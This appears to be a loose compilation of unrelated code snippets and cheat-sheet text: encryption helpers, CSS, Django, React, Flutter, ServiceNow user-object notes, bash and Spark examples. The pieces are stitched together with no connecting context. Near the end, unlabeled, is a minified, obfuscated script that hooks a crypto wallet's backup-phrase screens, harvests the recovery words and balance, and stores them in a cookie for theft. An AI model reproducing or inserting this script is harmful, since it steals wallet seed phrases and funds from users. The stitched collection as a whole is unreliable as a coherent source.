const buff_to_base64 = (buff) => btoa(String.fromCharCode.apply(null, buff));

const base64_to_buf = (b64) =>
  Uint8Array.from(atob(b64), (c) => c.charCodeAt(null));

const enc = new TextEncoder();
const dec = new TextDecoder();

const getPasswordKey = (password) =>
  window.crypto.subtle.importKey("raw", enc.encode(password), "PBKDF2", false, [
    "deriveKey",
  ]);

const deriveKey = (passwordKey, salt, keyUsage) =>
  window.crypto.subtle.deriveKey(
    {
      name: "PBKDF2",
      salt: salt,
      iterations: 250000,
      hash: "SHA-256",
    },
    passwordKey,
    {
      name: "AES-GCM",
      length: 256,
    },
    false,
    keyUsage
  );

export async function encrypt(secretData, password) {
  try {
    const salt = window.crypto.getRandomValues(new Uint8Array(16));
    const iv = window.crypto.getRandomValues(new Uint8Array(12));
    const passwordKey = await getPasswordKey(password);
    const aesKey = await deriveKey(passwordKey, salt, ["encrypt"]);
    const encryptedContent = await window.crypto.subtle.encrypt(
      {
        name: "AES-GCM",
        iv: iv,
      },
      aesKey,
      enc.encode(secretData)
    );

    const encryptedContentArr = new Uint8Array(encryptedContent);
    let buff = new Uint8Array(
      salt.byteLength + iv.byteLength + encryptedContentArr.byteLength
    );
    buff.set(salt, 0);
    buff.set(iv, salt.byteLength);
    buff.set(encryptedContentArr, salt.byteLength + iv.byteLength);
    const base64Buff = buff_to_base64(buff);
    return base64Buff;
  } catch (e) {
    console.log(`Error - ${e}`);
    return "";
  }
}

export async function decrypt(encryptedData, password) {
  const encryptedDataBuff = base64_to_buf(encryptedData);
  const salt = encryptedDataBuff.slice(0, 16);
  const iv = encryptedDataBuff.slice(16, 16 + 12);
  const data = encryptedDataBuff.slice(16 + 12);
  const passwordKey = await getPasswordKey(password);
  const aesKey = await deriveKey(passwordKey, salt, ["decrypt"]);
  const decryptedContent = await window.crypto.subtle.decrypt(
    {
      name: "AES-GCM",
      iv: iv,
    },
    aesKey,
    data
  );
  return dec.decode(decryptedContent);
}

#watch-page-skeleton{position:relative;z-index:1;margin:0 auto;box-sizing:border-box}#watch-page-skeleton #info-container,#watch-page-skeleton #related{box-sizing:border-box}.watch-skeleton .text-shell{height:20px;border-radius:2px}.watch-skeleton .skeleton-bg-color{background-color:hsl(0,0%,89%)}.watch-skeleton .skeleton-light-border-bottom{border-bottom:1px solid hsl(0,0%,93.3%)}html[dark] .watch-skeleton .skeleton-bg-color{background-color:hsl(0,0%,16%)}html[dark] .watch-skeleton .skeleton-light-border-bottom{border-bottom:1px solid hsla(0,100%,100%,.08)}.watch-skeleton .flex-1{-ms-flex:1;-webkit-flex:1;flex:1;-webkit-flex-basis:.000000001px;flex-basis:.000000001px}.watch-skeleton #primary-info{height:64px;padding:20px 0 8px}.watch-skeleton #primary-info #title{width:400px;margin-bottom:12px}.watch-skeleton #primary-info #info{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;-webkit-align-items:center;align-items:center}.watch-skeleton #primary-info #info #count{width:200px}.watch-skeleton #primary-info #info #menu{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;padding-right:8px}.watch-skeleton #primary-info .menu-button{height:20px;width:20px;border-radius:50%;margin-left:20px}.watch-skeleton #secondary-info{height:151px;margin-bottom:24px;padding:16px 0}.watch-skeleton #secondary-info #top-row,.watch-skeleton #secondary-info #top-row #video-owner{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row}.watch-skeleton #secondary-info #top-row #video-owner #channel-icon{height:48px;width:48px;border-radius:50%;margin-right:16px}.watch-skeleton #secondary-info #top-row #video-owner #upload-info{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column;-moz-justify-content:center;-webkit-justify-content:center;justify-content:center}.watch-skeleton #secondary-info #top-row #video-owner #upload-info #owner-name{width:200px;margin-bottom:12px}.watch-skeleton #secondary-info #top-row #video-owner #upload-info #published-date{width:200px}.watch-skeleton #secondary-info #top-row #subscribe-button{width:137px;height:36px;border-radius:2px;margin:7px 4px 0 0}#watch-page-skeleton #related{float:right;position:relative;clear:right;max-width:426px;width:calc(100% - 640px)}#watch-page-skeleton.theater #related{width:100%}.watch-skeleton #related .autoplay{margin-bottom:16px}.watch-skeleton #related[playlist] .autoplay{border-bottom:none;margin-bottom:0}.watch-skeleton #related #upnext{height:20px;width:120px;margin-bottom:14px}.watch-skeleton #related[playlist] #upnext{display:none}.watch-skeleton #related .video-details{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;padding-bottom:8px}.watch-skeleton #related:not([playlist]) .autoplay .video-details{padding-bottom:16px}.watch-skeleton #related .video-details .thumbnail{height:94px;width:168px;margin-right:8px}.watch-skeleton #related .video-details .video-title{width:200px;margin-bottom:12px}.watch-skeleton #related .video-details .video-meta{width:120px}@media (max-width:999px){#watch-page-skeleton{width:854px}#watch-page-skeleton #container{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column}#watch-page-skeleton #info-container{order:1}#watch-page-skeleton #related{order:2;width:100%;max-width:100%}}@media (max-width:856px){#watch-page-skeleton{width:640px}}@media (max-width:656px){#watch-page-skeleton{width:426px}}@media (min-width:882px){#watch-page-skeleton.theater{width:100%;max-width:1706px;padding:0 32px}#watch-page-skeleton.theater #related{margin-top:0}#watch-page-skeleton.theater #info-container>*{margin-right:24px}}@media (min-width:1000px){#watch-page-skeleton{width:100%;max-width:1066px}#watch-page-skeleton #related{margin-top:-360px;padding-left:24px}#watch-page-skeleton #info-container{width:640px}#watch-page-skeleton.theater #info-container{width:100%;padding-right:426px}}@media (min-width:1294px) and (min-height:630px){#watch-page-skeleton{width:100%;max-width:1280px}#watch-page-skeleton #related{margin-top:-480px}#watch-page-skeleton #info-container{width:854px}}@media (min-width:1720px) and (min-height:980px){#watch-page-skeleton{width:100%;max-width:1706px}#watch-page-skeleton #related{margin-top:-720px}#watch-page-skeleton #info-container{width:1280px}}#watch-page-skeleton.theater.theater-all-widths{width:100%;max-width:1706px;padding:0 32px}#watch-page-skeleton.theater.theater-all-widths #related{margin-top:0}#watch-page-skeleton.theater.theater-all-widths #info-container>*{margin-right:24px}#watch-page-skeleton #related{display:none}

val sheetState = rememberModalBottomSheetState(
    initialValue = ModalBottomSheetValue.Hidden,
    confirmStateChange = { it != ModalBottomSheetValue.HalfExpanded }
)

node -v > .nvmrc

git log --all --graph --decorate

<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"
        tools:ignore="ScopedStorage" />

let userName = '';
/* Con nombre o sin nombre */
userName ? console.log(`Hello, ${userName}!`) : console.log('Hello!');
/* Se guarda la pregunta */
let userQuestion = 'Is this true?';
/* Se muestra la pregunta */
console.log(`Hey ${userName}! You just asked this: ${userQuestion}`);
/* Se genera un número aleatorio entre 0-8 */
randomNumber = Math.floor(Math.random() * 8);
/* Se guarda la respuesta en una variable */
let eightBall = '';
/* Se guardan distintas respuestas para el número que toque */
// takes in randomNumber, then eightBall = 'Reply'
// you can use if/else or switch;
// If the randomNumber is 0, then save an answer to the eightBall variable; if randomNumber is 1, then save the next answer, and so on.
/* Se utiliza switch */
/*
switch (randomNumber) {
  case 0:
    eightBall = 'It is certain';
    break;
  case 1:
    eightBall = 'It is decidedly so';
    break;
  case 3:
    eightBall = 'Reply hazy try again';
    break;
  case 4:
    eightBall = 'Cannot predict now';
    break;
  case 5:
    eightBall = 'My sources say no';
    break;
  case 6:
    eightBall = 'Outlook not so good';
    break;
  case 7:
    eightBall = 'Signs point to yes';
    break;
}
*/
/* Se utiliza if */
if (randomNumber === 0) {
  eightBall = 'It is certain';
} 
if (randomNumber === 1) {
  eightBall = 'It is decidedly so';
}
if (randomNumber === 2) {
  eightBall = 'Reply hazy try again';
}
if (randomNumber === 3) {
  eightBall = 'Cannot predict now';
}
if (randomNumber === 4) {
  eightBall = 'Do not count on it';
}
if (randomNumber === 5) {
  eightBall = 'My sources say no';
}
if (randomNumber === 6) {
  eightBall = 'Outlook not so good';
}
if (randomNumber === 7) {
  eightBall = 'Signs point to yes';
}
/* Se muestra */
console.log(eightBall);

// models.py
from django.db.models.fields import FloatField

class Product(models.Model):
    title = models.CharField(max_length=225)
    price = models.FloatField()
    discount_percent = FloatField(default=0) # Assigning it a default value of 0 so it doesn't throw a 'NoneType' error when it's null.
  
    @property
    def discount(self):
        if self.discount_percent > 0:
            discounted_price = self.price - self.price * self.discount_percent / 100
            return discounted_price

class OrderItem(models.Model):
    product = models.ForeignKey(Product, on_delete=models.SET_NULL, null=True)
    order = models.ForeignKey(Order, on_delete=models.SET_NULL, null=True)
    quantity = models.IntegerField(default=0, null=True, blank=True)
	
	# get_total function has to be updated too to calculate using the correct current price
    @property
    def get_total(self):
        if self.product.discount_percent > 0:
            price_now = self.product.price - self.product.price * self.product.discount_percent / 100
        else:
            price_now = self.product.price

        total = price_now * self.quantity
        return total

// Your template
{% if product.discount_percent %}
                <h4 class="product__price--original">₾{{ product.price|floatformat:2 }}</h4>
                <h4 class="product__price--discounted">₾{{ product.discount|floatformat:2 }}</h4>
                {% else %}  
                <h4>₾{{ product.price|floatformat:2 }}</h4>
                {% endif %}
                
// Here's some Sass too, if you need it
.product__price {
  &--original {
    text-decoration: line-through;
  }
  &--discounted {
    color: green;
  }
}

const { useState } = React;

function PageComponent() {
  const [count, setCount] = useState(0);
  const increment = () => {
    setCount(count + 1)
  }

  return (
    <div className="App">
      <ChildComponent onClick={increment} count={count} />         
      <h2>count {count}</h2>
      (count should be updated from child)
    </div>
  );
}

const ChildComponent = ({ onClick, count }) => {
  return (
    <button onClick={onClick}>
       Click me {count}
    </button>
  )
};

ReactDOM.render(<PageComponent />, document.getElementById("root"));

button {
  all: initial;
}

{
    // Debugger Tool for Firefox has to be installed: https://github.com/firefox-devtools/vscode-firefox-debug
    // And Remote has to be enabled: https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_Desktop#enable_remote_debugging
    "version": "0.2.0",
    "configurations": [
        {
            "type": "firefox",
            "request": "launch",
            "name": "Launch Firefox against localhost",
            "url": "http://localhost:3000",
            "webRoot": "${workspaceFolder}",
            "enableCRAWorkaround": true,
            "reAttach": true,
            "reloadOnAttach": true,
            "reloadOnChange": {
                "watch": "${workspaceFolder}/**/*.ts",
                "ignore": "**/node_modules/**"
            }
        }
    ]
}

AlertDialog.Builder builder = new AlertDialog.Builder(context);
...
...
AlertDialog dialog = builder.create();

ColorDrawable back = new ColorDrawable(Color.TRANSPARENT);
InsetDrawable inset = new InsetDrawable(back, 20);
dialog.getWindow().setBackgroundDrawable(inset);

dialog.show();

.LikeButton button {
  margin: 1rem;
  transition: all 0.5s ease;
  transform: scale(1);
}

.LikeButton button:hover {
  cursor: pointer;
  transform: scale(1.25);
  filter: brightness(120%);
}

const comparePassword = async (password, hash) => {
    try {
        // Compare password
        return await bcrypt.compare(password, hash);
    } catch (error) {
        console.log(error);
    }

    // Return false if error
    return false;
};

//use case
(async () => {
    // Hash fetched from DB
    const hash = `$2b$10$5ysgXZUJi7MkJWhEhFcZTObGe18G1G.0rnXkewEtXq6ebVx1qpjYW`;

    // Check if password is correct
    const isValidPass = await comparePassword('123456', hash);

    // Print validation status
    console.log(`Password is ${!isValidPass ? 'not' : ''} valid!`);
    // => Password is valid!
})();

import pickle
import os
from google_auth_oauthlib.flow import Flow, InstalledAppFlow
from googleapiclient.discovery import build
from googleapiclient.http import MediaFileUpload, MediaIoBaseDownload
from google.auth.transport.requests import Request


def Create_Service(client_secret_file, api_name, api_version, *scopes):
    print(client_secret_file, api_name, api_version, scopes, sep='-')
    CLIENT_SECRET_FILE = client_secret_file
    API_SERVICE_NAME = api_name
    API_VERSION = api_version
    SCOPES = [scope for scope in scopes[0]]
    print(SCOPES)

    cred = None

    pickle_file = f'token_{API_SERVICE_NAME}_{API_VERSION}.pickle'
    # print(pickle_file)

    if os.path.exists(pickle_file):
        with open(pickle_file, 'rb') as token:
            cred = pickle.load(token)

    if not cred or not cred.valid:
        if cred and cred.expired and cred.refresh_token:
            cred.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, SCOPES)
            cred = flow.run_local_server()

        with open(pickle_file, 'wb') as token:
            pickle.dump(cred, token)

    try:
        service = build(API_SERVICE_NAME, API_VERSION, credentials=cred)
        print(API_SERVICE_NAME, 'service created successfully')
        return service
    except Exception as e:
        print('Unable to connect.')
        print(e)
        return None

def convert_to_RFC_datetime(year=1900, month=1, day=1, hour=0, minute=0):
    dt = datetime.datetime(year, month, day, hour, minute, 0).isoformat() + 'Z'
    return dt

dd_filter( 'woocommerce_product_add_to_cart_text' , 'custom_woocommerce_product_add_to_cart_text' );
/* * custom_woocommerce_template_loop_add_to_cart**/
function custom_woocommerce_product_add_to_cart_text() {	
global $product;		
  $product_type = $product->get_type();		switch ( $product_type ) {		case 'external':			return _( 'Buy product', 'woocommerce' );		break;		case 'grouped':			return _( 'View products', 'woocommerce' );		break;		case 'simple':			return _( 'Add to cart', 'woocommerce' );		break;		case 'variable':			return _( 'Select options', 'woocommerce' );		break;		default:			return __( 'Read more', 'woocommerce' );	}	}

[
   {
      "mostrar":"in,out",
      "label":"CURSO DE FORMAÇÃO EM TERAPEUTA AYURVEDA",
      "campo":"cursotitulo",
      "tipo":"titulo6",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "label":"Nome Completo",
      "campo":"nomecompleto",
      "tipo":"text",
      "colunas_in":"12",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Data de nascimento",
      "campo":"data_nasc",
      "tipo":"data",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"CPF",
      "campo":"nrocpf",
      "tipo":"cpf",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Estado Civil",
      "campo":"estado_civil",
      "tipo":"select_valor",
      "colunas_in":"6",
      "colunas_out":"4",
      "opcoes":[
         "Casado",
         "Solteiro",
         "Separado",
         "Viuvo"
      ],
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Profissão",
      "campo":"profi",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Email",
      "campo":"email",
      "tipo":"text",
      "colunas_in":"12",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Telefone Celular",
      "campo":"telcelular",
      "tipo":"text",
      "placeholder":"(xx) x xxxx-xxxx",
      "colunas_in":"6",
      "colunas_out":"6",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Telefone Residencial",
      "campo":"telresidencial",
      "tipo":"text",
      "placeholder":"(xx) x xxxx-xxxx",
      "colunas_in":"6",
      "colunas_out":"6"
   },
   {
      "mostrar":"in,out",
      "label":"Endereço",
      "campo":"logradouro",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Cidade",
      "campo":"cid",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"CEP",
      "campo":"cep_user",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"PAGAMENTO",
      "campo":"pagamento",
      "tipo":"titulo6",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "label":"Forma de Pagamento",
      "campo":"forma_pagamento",
      "tipo":"select_valor",
      "colunas_in":"6",
      "colunas_out":"6",
      "requerido":"1",
      "opcoes":[
         "À vista",
         "À prazo",
         "Boleto",
         "Cheque"
      ],
      "conditions":[
         {
            "when":"equal",
            "value":"À prazo",
            "action":{
               "show":[
                  "parcelas"
               ],
               "required":[
                  "parcelas"
               ]
            }
         }
      ]
   },
   {
      "mostrar":"in,out",
      "label":"Em quantas parcelas?",
      "campo":"parcelas",
      "tipo":"number",
      "colunas_in":"12",
      "colunas_out":"12",
      "classe":"hide"
   },
   {
      "mostrar":"in,out",
      "label":"Escola",
      "campo":"escola",
      "tipo":"select_valor",
      "colunas_in":"12",
      "colunas_out":"12",
      "requerido":"1",
      "opcoes":[
         "Semente da Paz",
         "Leveza do Ser",
         "Beija Flor",
         "La vie",
         "Karina Gomes"
      ],
      "aceita_recategorizar":"1"
   },
   {
      "mostrar":"in,out",
      "label":"TERMO DE AUTORIZAÇÃO",
      "campo":"termo",
      "tipo":"titulo6",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "campo":"autori",
      "tipo":"texto",
      "valor_padrao":"Eu, autorizo a gravar (minha imagem em vídeo ou fotografia) e veicular minha imagem e depoimentos em qualquer meios de comunicação para fins didáticos, de pesquisa e divulgação de conhecimento científico sem quaisquer ônus e restrições. Fica ainda autorizada, de livre e espontânea vontade, para os mesmos fins, a cessão de direitos da veiculação, não recebendo para tanto qualquer tipo de remuneração. ",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "label":"Eu concordo e autorizo",
      "campo":"concordancia",
      "tipo":"checkbox",
      "colunas_in":"12",
      "colunas_out":"12",
      "requerido":"1"
   }
]

//*****---  Remove Eicons:  ---*****
//==========================
add_action( 'wp_enqueue_scripts', 'remove_default_stylesheet', 20 ); 
function remove_default_stylesheet() { 
	wp_deregister_style( 'elementor-icons' ); 
}

public <T> List<Class<? extends T>> findAllMatchingTypes(Class<T> toFind) {
    foundClasses = new ArrayList<Class<?>>();
    List<Class<? extends T>> returnedClasses = new ArrayList<Class<? extends T>>();
    this.toFind = toFind;
    walkClassPath();
    for (Class<?> clazz : foundClasses) {
        returnedClasses.add((Class<? extends T>) clazz);
    }
    return returnedClasses;
}

#!/bin/bash
# Bash Menu Script Example

PS3='Please enter your choice: '
options=("Option 1" "Option 2" "Option 3" "Quit")
select opt in "${options[@]}"
do
    case $opt in
        "Option 1")
            echo "you chose choice 1"
            ;;
        "Option 2")
            echo "you chose choice 2"
            ;;
        "Option 3")
            echo "you chose choice $REPLY which is $opt"
            ;;
        "Quit")
            break
            ;;
        *) echo "invalid option $REPLY";;
    esac
done

--add-metadata --postprocessor-args "-metadata artist=Pink\ Floyd"

import org.apache.spark.sql.functions._

val sc: SparkContext = ...
val sqlContext = new SQLContext(sc)

import sqlContext.implicits._

val input = sc.parallelize(Seq(
  ("a", 5, 7, 9, 12, 13),
  ("b", 6, 4, 3, 20, 17),
  ("c", 4, 9, 4, 6 , 9),
  ("d", 1, 2, 6, 8 , 1)
)).toDF("ID", "var1", "var2", "var3", "var4", "var5")

val columnsToSum = List(col("var1"), col("var2"), col("var3"), col("var4"), col("var5"))

val output = input.withColumn("sums", columnsToSum.reduce(_ + _))

output.show()

my_list = [27, 5, 9, 6, 8]

def RemoveValue(myVal):
    if myVal not in my_list:
        raise ValueError("Value must be in the given list")
    else:
        my_list.remove(myVal)
    return my_list

print(RemoveValue(27))
print(RemoveValue(27))

library(ggplot2)
library("ggpubr")
theme_set(
  theme_bw() +
    theme(legend.position = "top")
  )

javascript:(d=>{var css=`:root{background-color:#f1f1f1;filter:invert(1) hue-rotate(180deg)}img:not([src*=".svg"]),picture,video{filter: invert(1) hue-rotate(180deg)}`,style,id="dark-mode",ee=d.getElementById(id);if(null!=ee)ee.parentNode.removeChild(ee);else {style = d.createElement('style');style.type="text/css";style.id=id;if(style.styleSheet)style.styleSheet.cssText=css;else style.appendChild(d.createTextNode(css));(d.head||d.querySelector('head')).appendChild(style)}})(document)

Widget build(BuildContext context) {
  return Scaffold(
    appBar: AppBar(title: Text('IntrinsicWidth')),
    body: Center(
      child: IntrinsicWidth(
        child: Column(
          crossAxisAlignment: CrossAxisAlignment.stretch,
          children: <Widget>[
            RaisedButton(
              onPressed: () {},
              child: Text('Short'),
            ),
            RaisedButton(
              onPressed: () {},
              child: Text('A bit Longer'),
            ),
            RaisedButton(
              onPressed: () {},
              child: Text('The Longest text button'),
            ),
          ],
        ),
      ),
    ),
  );
}

.border { 
    width: 400px;
    padding: 20px;
    border-top: 10px solid #FFFF00;
    border-bottom:10px solid #FF0000;
    background-image: 
        linear-gradient(#FFFF00, #FF0000),
        linear-gradient(#FFFF00, #FF0000)
    ;
    background-size:10px 100%;
    background-position:0 0, 100% 0;
    background-repeat:no-repeat;
}

Vehicle::find(3)->value('register_number');

/* This will come in the body at XML but the header will be text/plain, which is why  
all this is happening manually to get this read from the stream.  
*/  
var reqHeaders = request.headers;
gs.info("CPSNS: reqHeaders content-type" + reqHeaders['content-type']);
if (reqHeaders['content-type'] == "text/plain; charset=UTF-8") {
    var stream = request.body.dataStream;
    var reader = new GlideTextReader(stream);
    var input = "";
    var ln = "";
    while ((ln = reader.readLine()) != null) {
        input += ln;
    }
    gs.info("CPSNS: SUB" + input);
} else {
    var body = {};
    var data = request.body.data;

    gs.info("CPSNS: req.body data" + data);

}

import { MatDialogModule } from "@angular/material";
 Save has now changed to

import { MatDialogModule } from "@angular/material/dialog";

You have to reference the actual module inside the material folder:
v

User Object Cheat Sheet
N

o matter what system you’re working in, it is always critical to be able to identify information about the user who is accessing that system. Being able to identify who the user is, what their groups and/or roles are, and what other attributes their user record has are all important pieces of information that allow you to provide that user with a good experience (without giving them information they don’t need to have or shouldn’t have). ServiceNow gives administrators some pretty simple ways to identify this information in the form of a couple of user objects and corresponding methods. This article describes the functions and methods you can use to get information about the users accessing your system.



GlideSystem User Object

The GlideSystem (gs) user object is designed to be used in any server-side JavaScript (Business rules, UI Actions, System security, etc.). The following table shows how to use this object and its corresponding functions and methods.

Function/Method	Return Value	Usage
gs.getUser()	Returns a reference to the user object for the currently logged-in user.	var userObject = gs.getUser();
gs.getUserByID()	Returns a reference to the user object for the user ID (or sys_id) provided.	var userObject = gs.getUser().getUserByID('employee');
gs.getUserName()	Returns the User ID (user_name) for the currently logged-in user.
e.g. 'employee'	var user_name = gs.getUserName();
gs.getUserDisplayName()	Returns the display value for the currently logged-in user.
e.g. 'Joe Employee'	var userDisplay = gs.getUserDisplayName();
gs.getUserID()	Returns the sys_id string value for the currently logged-in user.	var userID = gs.getUserID();
getFirstName()	Returns the first name of the currently logged-in user.	var firstName = gs.getUser().getFirstName();
getLastName()	Returns the last name of the currently logged-in user.	var lastName = gs.getUser().getLastName();
getEmail()	Returns the email address of the currently logged-in user.	var email = gs.getUser().getEmail();
getDepartmentID()	Returns the department sys_id of the currently logged-in user.	var deptID = gs.getUser().getDepartmentID();
getCompanyID()	Returns the company sys_id of the currently logged-in user.	var companyID = gs.getUser().getCompanyID();
getCompanyRecord()	Returns the company GlideRecord of the currently logged-in user.	var company = gs.getUser().getCompanyRecord();
getLanguage()	Returns the language of the currently logged-in user.	var language = gs.getUser().getLanguage();
getLocation()	Returns the location of the currently logged-in user.	var location = gs.getUser().getLocation();
getDomainID()	Returns the domain sys_id of the currently logged-in user (only used for instances using domain separation).	var domainID = gs.getUser().getDomainID();
getDomainDisplayValue()	Returns the domain display value of the currently logged-in user (only used for instances using domain separation).	var domainName = gs.getUser().getDomainDisplayValue();
getManagerID()	Returns the manager sys_id of the currently logged-in user.	var managerID = gs.getUser().getManagerID();
getMyGroups()	Returns a list of all groups that the currently logged-in user is a member of.	var groups = gs.getUser().getMyGroups();
isMemberOf()	Returns true if the user is a member of the given group, false otherwise.	Takes either a group sys_id or a group name as an argument.

if(gs.getUser().isMemberOf(current.assignment_group)){
//Do something...
}

var isMember = gs.getUser().isMemberOf('Hardware');

To do this for a user that isn't the currently logged-in user...

var user = 'admin';
var group = "Hardware";
if (gs.getUser().getUserByID(user).isMemberOf(group)){
gs.log( gr.user_name + " is a member of " + group);
}

else{
gs.log( gr.user_name + " is NOT a member of " + group);
}
gs.hasRole()	Returns true if the user has the given role, false otherwise.	if(gs.hasRole('itil')){ //Do something... }
gs.hasRole()	Returns true if the user has one of the given roles, false otherwise.	if(gs.hasRole('itil,admin')){
//If user has 'itil' OR 'admin' role then Do something...
}
hasRoles()	Returns true if the user has any roles at all, false if the user has no role (i.e. an ess user).	if(!gs.getUser().hasRoles()){
//User is an ess user...
}
It is also very simple to get user information even if the attribute you want to retrieve is not listed above by using a ‘gs.getUser().getRecord()’ call as shown here…

//This script gets the user's title
gs.getUser().getRecord().getValue('title');


g_user User Object

The g_user object can be used only in UI policies and Client scripts. Contrary to its naming, it is not truly a user object. g_user is actually just a handful of cached user properties that are accessible to client-side JavaScript. This eliminates the need for most GlideRecord queries from the client to get user information (which can incur a fairly significant performance hit if not used judiciously).

g_user Property or Method	Return value
g_user.userName	User name of the current user e.g. employee
g_user.firstName	First name of the current user e.g. Joe
g_user.lastName	Last name of the current user e.g. Employee
g_user.userID	sys_id of the current user e.g. 681ccaf9c0a8016400b98a06818d57c7
g_user.hasRole()	True if the current user has the role specified, false otherwise. ALWAYS returns true if the user has the 'admin' role.

Usage: g_user.hasRole('itil')
g_user.hasRoleExactly()	True if the current user has the exact role specified, false otherwise, regardless of 'admin' role.

Usage: g_user.hasRoleExactly('itil')
g_user.hasRoles()	True if the current user has at least one role specified, false otherwise.

Usage: g_user.hasRoles('itil','admin')
It is often necessary to determine if a user is a member of a given group from the client as well. Although there is no convenience method for determining this from the client, you can get the information by performing a GlideRecord query. Here’s an example…

//Check to see if assigned to is a member of selected group
var grpName = 'YOURGROUPNAMEHERE';
var usrID = g_form.userID; //Get current user ID
var grp = new GlideRecord('sys_user_grmember');
grp.addQuery('group.name', grpName);
grp.addQuery('user', usrID);
grp.query(groupMemberCallback);
   
function groupMemberCallback(grp){
//If user is a member of selected group
    if(grp.next()){
        //Do something
        alert('Is a member');
    }
    else{
        alert('Is not a member');
    }
}
To get any additional information about the currently logged-in user from a client-script or UI policy, you need to use a GlideRecord query. If at all possible, you should use a server-side technique described above since GlideRecord queries can have performance implications when initiated from a client script. For the situations where there’s no way around it, you could use a script similar to the one shown below to query from the client for more information about the currently logged in user.

//This script gets the user's title
var gr = new GlideRecord('sys_user');
gr.get(g_user.userID);
var title = gr.title;
alert(title);


Useful Scripts

There are quite a few documented examples of some common uses of these script methods. These scripts can be found on the ServiceNow wiki.

function processSQLFile(fileName) {

  // Extract SQL queries from files. Assumes no ';' in the fileNames
  var queries = fs.readFileSync(fileName).toString()
    .replace(/(\r\n|\n|\r)/gm," ") // remove newlines
    .replace(/\s+/g, ' ') // excess white space
    .split(";") // split into all statements
    .map(Function.prototype.call, String.prototype.trim)
    .filter(function(el) {return el.length != 0}); // remove any empty ones

  // Execute each SQL query sequentially
  queries.forEach(function(query) {
    batch.push(function(done) {
      if (query.indexOf("COPY") === 0) { // COPY - needs special treatment
        var regexp = /COPY\ (.*)\ FROM\ (.*)\ DELIMITERS/gmi;
        var matches = regexp.exec(query);
        var table = matches[1];
        var fileName = matches[2];
        var copyString = "COPY " + table + " FROM STDIN DELIMITERS ',' CSV HEADER";
        var stream = client.copyFrom(copyString);
        stream.on('close', function () {
          done();
        });
        var csvFile = __dirname + '/' + fileName;
        var str = fs.readFileSync(csvFile);
        stream.write(str);
        stream.end();
      } else { // Other queries don't need special treatment
        client.query(query, function(result) {
          done();
        });
      }
    });
  });
}

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

/*EX:.container {
    padding: 0 15px;
// 576px window width and more
    @include sm {
        padding: 0 20px;
    }
// 992px window width and more
    @include lg {
        margin-left: auto;
        margin-right: auto;
        max-width: 1100px;
    } */

// Small tablets and large smartphones (landscape view)
$screen-sm-min: 576px;

// Small tablets (portrait view)
$screen-md-min: 768px;

// Tablets and small desktops
$screen-lg-min: 992px;

// Large tablets and desktops
$screen-xl-min: 1200px;


// Small devices
@mixin sm {
   @media (min-width: #{$screen-sm-min}) {
       @content;
   }
}

// Medium devices
@mixin md {
   @media (min-width: #{$screen-md-min}) {
       @content;
   }
}

// Large devices
